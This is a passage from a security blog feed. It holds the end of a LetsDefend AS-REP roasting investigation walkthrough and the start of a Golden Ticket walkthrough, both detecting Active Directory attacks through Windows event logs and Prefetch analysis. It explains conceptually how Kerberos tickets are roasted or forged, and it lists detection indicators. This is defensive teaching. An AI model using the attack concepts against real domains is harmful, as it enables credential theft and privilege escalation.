data-flex-grow=&#34;107&#34; height=&#34;743&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/9d0f174cee63ab69351f802473c8cb72_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful logon events from the suspicious source IP&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start by looking at the earliest matching result. Even though the filter is showing only logins from the source IP we associated with the &lt;em&gt;AS-REP&lt;/em&gt; traffic, there are several red flags in the event details that suggest malicious activity. These include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;code&gt;Logon Type&lt;/code&gt; of &lt;code&gt;3&lt;/code&gt;, meaning a Network logon requested over SMB, WinRM, or another remote protocol&lt;/li&gt;&#xA;&lt;li&gt;An &lt;code&gt;Account Name&lt;/code&gt; of &lt;code&gt;ANONYMOUS LOGON&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;Logon GUID&lt;/code&gt; of &lt;code&gt;{00000000-0000-0000-0000-000000000000}&lt;/code&gt;, which is expected for anonymous or unauthenticated network connections&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These characteristics strongly suggest that this is the attacker&amp;rsquo;s first attempt to access the machine using the cracked credential.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/c4b6fea2e2e2c8459408e8819c263fde_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Event Log Explorer: First suspicious network logon tied to the attacker&amp;rsquo;s source IP&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;950px&#34; data-flex-grow=&#34;396&#34; height=&#34;202&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/5158609f1fd429d28d6fa6b3a9c367e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8&#34;&gt;Questions 7 &amp;amp; 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;once-inside-the-attacker-began-exploring-the-system-what-was-the-first-command-they-executed&#34;&gt;Once inside, the attacker began exploring the system. What was the first command they executed?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-did-the-attacker-execute-this-commandexactly&#34;&gt;When did the attacker execute this command exactly?&#xA;&lt;/h4&gt;&lt;p&gt;Our next task is to figure out the first command the attacker ran once they gained access to Corrado&amp;rsquo;s workstation. To do that, we&amp;rsquo;ll pivot away from the event logs and turn to a third forensic artifact: &lt;strong&gt;Windows Prefetch files&lt;/strong&gt;. You can find them in the following directory:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch&lt;/p&gt;&#xA;&lt;p&gt;Rather than reinvent the wheel on describing these artifacts, I&amp;rsquo;ll pull from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, who explain it much better than me:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user&amp;rsquo;s application history on a computer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, the idea is that if we can parse these files, we can identify which executable the attacker launched first. As-is, though, the files aren&amp;rsquo;t meant to be read directly, so we need a way to convert them into something usable&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/edd8162936fa273043ffc1151cc37c78_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The contents of the prefetch folder&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;, one of the many tools in &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; suite. It&amp;rsquo;s built to parse the prefetch logs and it&amp;rsquo;s already loaded in the analysis environment, so we just need to run it from PowerShell. Here&amp;rsquo;s an example command where we tell &lt;code&gt;PECmd&lt;/code&gt; to parse the prefetch directory and output to a CSV called &lt;code&gt;investigation.csv&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1476px&#34; data-flex-grow=&#34;615&#34; height=&#34;130&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/49a362e573ebc07ad8610ad3f431f424_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;.\PECmd.exe -d &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch&amp;quot; &amp;ndash;csv C:\Users\LetsDefend\Desktop\ChallengeFile\ &amp;ndash;csvf investigation.csv&lt;/p&gt;&#xA;&lt;p&gt;Once the CSV is generated, open it with another &lt;em&gt;Zimmerman&lt;/em&gt; tool, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, which lets us sort and filter the parsed data.&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;em&gt;Timeline Explorer&lt;/em&gt;, filter on the &lt;strong&gt;Last Run&lt;/strong&gt; column so we can start building a timeline. From the earlier questions, we know the attacker first logged in at &lt;code&gt;2024-10-05 14:48:58&lt;/code&gt;, so we&amp;rsquo;ll focus on entries right after that time. With the rows sorted, look at the &lt;code&gt;Executable Name&lt;/code&gt; column and we&amp;rsquo;ll see the first commands run by the attacker.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;593&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/ac035c26c3784723346c56e11827309a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the first command the attacker used to explore the system&lt;/p&gt;&#xA;&lt;p&gt;Now, &lt;strong&gt;Question 7&lt;/strong&gt; is slightly open to interpretation. It mentions that &amp;ldquo;the attacker began exploring the system,&amp;ldquo;so we can reasonably assume it&amp;rsquo;s asking for the first &lt;em&gt;discovery-related&lt;/em&gt; command. In this dataset, that command is &lt;code&gt;whoami.exe&lt;/code&gt;. This aligns with &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK T1033&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;(System Owner/User Discovery)&lt;/strong&gt; and is a common early step for attackers who want to confirm what account they compromised and what privileges they have.&lt;/p&gt;&#xA;&lt;p&gt;The great thing is that now that we&amp;rsquo;ve identified the command, we can also answer Question &lt;strong&gt;8&lt;/strong&gt; by pulling the exact timestamp from the &lt;em&gt;Last Run&lt;/em&gt; column in &lt;em&gt;Timeline Explorer&lt;/em&gt;. That gives us the precise moment the attacker executed &lt;code&gt;whoami.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;466px&#34; data-flex-grow=&#34;194&#34; height=&#34;412&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/0061ad25fa363595f7a6d47af334a0bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/3c6b1e6a44e04ff826975e31d345937b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for dropping these awesome classic Active Directory attack challenges.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great chance to revisit &lt;strong&gt;Kerberos&lt;/strong&gt; fundamentals and sharpen incident response skills. Instead of juggling a dozen artifacts, we focused on the &lt;em&gt;Windows Security Event Logs&lt;/em&gt; and used &lt;strong&gt;Event Log Explorer&lt;/strong&gt; to piece together what went down.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we identified &lt;em&gt;AS-REP roasting&lt;/em&gt; in DC logs (Event ID &lt;code&gt;4768&lt;/code&gt; with &lt;code&gt;PreAuthType = 0&lt;/code&gt; and RC4 &lt;code&gt;0x17&lt;/code&gt;), confirmed the attacker&amp;rsquo;s first successful logon on the endpoint (Event ID &lt;code&gt;4624&lt;/code&gt;, &lt;code&gt;Logon Type = 3&lt;/code&gt;, &lt;code&gt;ANONYMOUS LOGON&lt;/code&gt;, null GUID), and then used &lt;strong&gt;Windows Prefetch&lt;/strong&gt; parsed with &lt;strong&gt;PECmd&lt;/strong&gt; and reviewed in &lt;strong&gt;Timeline Explorer&lt;/strong&gt; to surface &lt;code&gt;whoami.exe&lt;/code&gt; as the first discovery command and grab the exact execution time.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to continue the series and to brush up on Windows IR and refresh on &lt;em&gt;Kerberos&lt;/em&gt; misconfigurations like missing pre-authentication. Even in a cloud-heavy world, techniques like enumeration, ticket abuse, and lateral movement still show up in real incidents. Knowing how to spot them fast from DC telemetry and validate on the host is table stakes for any blue teamer. Awesome stuff.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/as-rep-challenge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Kerberos Network Authentication Service (V5) Synopsis&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4768(S, F): A Kerberos authentication ticket (TGT) was requested&amp;rdquo;&#xA;**: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4624(S): An account was successfully logged on&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Forensic Analysis of Prefetch files in Windows&lt;/em&gt;&lt;/strong&gt;&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — System Owner/User Discovery (T1033):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1033/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Golden Ticket Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/</link>
            <pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Golden Ticket Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--golden-ticket-challenge-walkthrough&#34;&gt;LetsDefend — Golden Ticket Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-domain-controller-logs-using-event-log-explorer-and-mitreattck&#34;&gt;Investigating Domain Controller Logs Using Event Log Explorer and MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/golden-ticket&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Golden Ticket&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Stick around to learn a little bit about detecting &lt;em&gt;Golden Ticket&lt;/em&gt; attacks in Active Directory.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An alert has been triggered within a network, indicating a possible attack on the Domain Controller (DC). The security team has detected suspicious activity suggesting lateral movement attempts from a compromised workstation to the DC. The attacker, identified as having infiltrated the network, appears to be targeting sensitive systems. An investigator is tasked with analyzing network traffic, reviewing event logs, and identifying how the attacker is navigating through the environment. The goal is to trace the attacker&amp;rsquo;s steps, determine their access point, and prevent further escalation to the Domain Controller.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. An alert points to lateral movement from a compromised workstation to the Domain Controller. Not good! Our job is to quickly figure out what the attacker did by hunting through the logs and following their trail.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll work from a single artifact: the Windows Security Event Log, and use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt; to filter and correlate the attacker&amp;rsquo;s authentication activities. The goal is to identify whether a Golden Ticket was forged and pin down the accounts, timestamps, and logon types to support our case.&lt;/p&gt;&#xA;&lt;p&gt;By the end of this thing, you&amp;rsquo;ll have a repeatable approach for spotting Active Directory attacks like AS-REP roasting and suspected Golden Ticket usage from just a domain controller&amp;rsquo;s security log. Time to turn those noisy logs into a clean timeline of the attack — let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;golden-ticketbasics&#34;&gt;Golden Ticket Basics:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let&amp;rsquo;s lay some groundwork and do a quick recap of what a &lt;strong&gt;Golden Ticket&lt;/strong&gt; is in the context of a domain controller. This will help us contextualize the investigation as we go through it.&lt;/p&gt;&#xA;&lt;p&gt;In an &lt;strong&gt;Active Directory&lt;/strong&gt; environment, modern authentication is handled using &lt;strong&gt;Kerberos&lt;/strong&gt;. We don&amp;rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to research further. The idea is that when a client in an &lt;em&gt;Active Directory&lt;/em&gt; environment needs to access a resource or log in to a server, an authentication flow takes place using &lt;em&gt;Kerberos.&lt;/em&gt; Here&amp;rsquo;s a quick visual from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the context of a &lt;em&gt;Golden Ticket&lt;/em&gt; attack, remember that &lt;em&gt;Kerberos&lt;/em&gt; uses tickets to validate client identity in the form of a &lt;strong&gt;Ticket Granting Ticket (TGT)&lt;/strong&gt;. A &lt;em&gt;TGT&lt;/em&gt; is issued by the Key Distribution Center and encrypted/signed with the &lt;strong&gt;KRBTGT&lt;/strong&gt; service account key. Put simply, compromising the &lt;em&gt;KRBTGT&lt;/em&gt; hash lets an attacker forge TGTs that look legitimate to the KDC and then use them to request service tickets (&lt;code&gt;TGS&lt;/code&gt;) for specific resources even as highly privileged accounts like a domain administrator.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a concise, authoritative description from &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: Golden Ticket — T1558.001&lt;/em&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=1640&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Golden tickets enable adversaries to generate authentication material for any account in Active Directory.&lt;a class=&#34;link&#34; href=&#34;https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[2]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=1515&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[3]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=483&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[4]&lt;/a&gt; The KRBTGT password hash may be obtained using &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;OS Credential Dumping&lt;/a&gt; and privileged access to a domain controller.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, in the context of our investigation, we have an alert that a domain controller was compromised after lateral movement, which could give the attacker access to &lt;em&gt;KRBTGT&lt;/em&gt;. Our job will be to identify whether a &lt;em&gt;Golden Ticket&lt;/em&gt; was forged and used to escalate the attacker&amp;rsquo;s privileges to a higher level, like a domain administrator. Now that we&amp;rsquo;ve set the stage, let&amp;rsquo;s get into the investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-1-2-3&#34;&gt;Questions 1, 2, &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;when-did-the-attacker-first-access-the-service-account-within-the-domain-controller-environment&#34;&gt;When did the attacker first access the service account within the Domain Controller environment?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-compromised-serviceaccount&#34;&gt;What is the name of the compromised service account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-ip-address-and-port-were-used-by-the-attacker-to-log-into-the-compromised-account&#34;&gt;Which IP address and port were used by the attacker to log into the compromised account?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and determine what the attacker was after. First, extract &lt;code&gt;goldenticket.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; folder. This leaves us with a single artifact: a copy of the Windows Security Event Log from the compromised domain controller — &lt;code&gt;Security.evtx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;834px&#34; data-flex-grow=&#34;347&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/6c7503d6d60fbdca3436db96fc545e6d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;The first thing we need to home in on is malicious login activity contained in the log. For this, we can open this in &lt;em&gt;Windows Event Viewer&lt;/em&gt;, or we can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that speeds up event log analysis. Since &lt;em&gt;Event Log Explorer&lt;/em&gt; is already built into the &lt;em&gt;LetsDefend&lt;/em&gt; analysis environment, I&amp;rsquo;ll be using it for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;em&gt;Event Log Explorer&lt;/em&gt; and load the &lt;code&gt;Security.evtx&lt;/code&gt; file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.&lt;/p&gt;&#xA;&lt;p&gt;Start with broad strokes by filtering for &lt;strong&gt;Event ID 4624&lt;/strong&gt; (&lt;em&gt;Successful 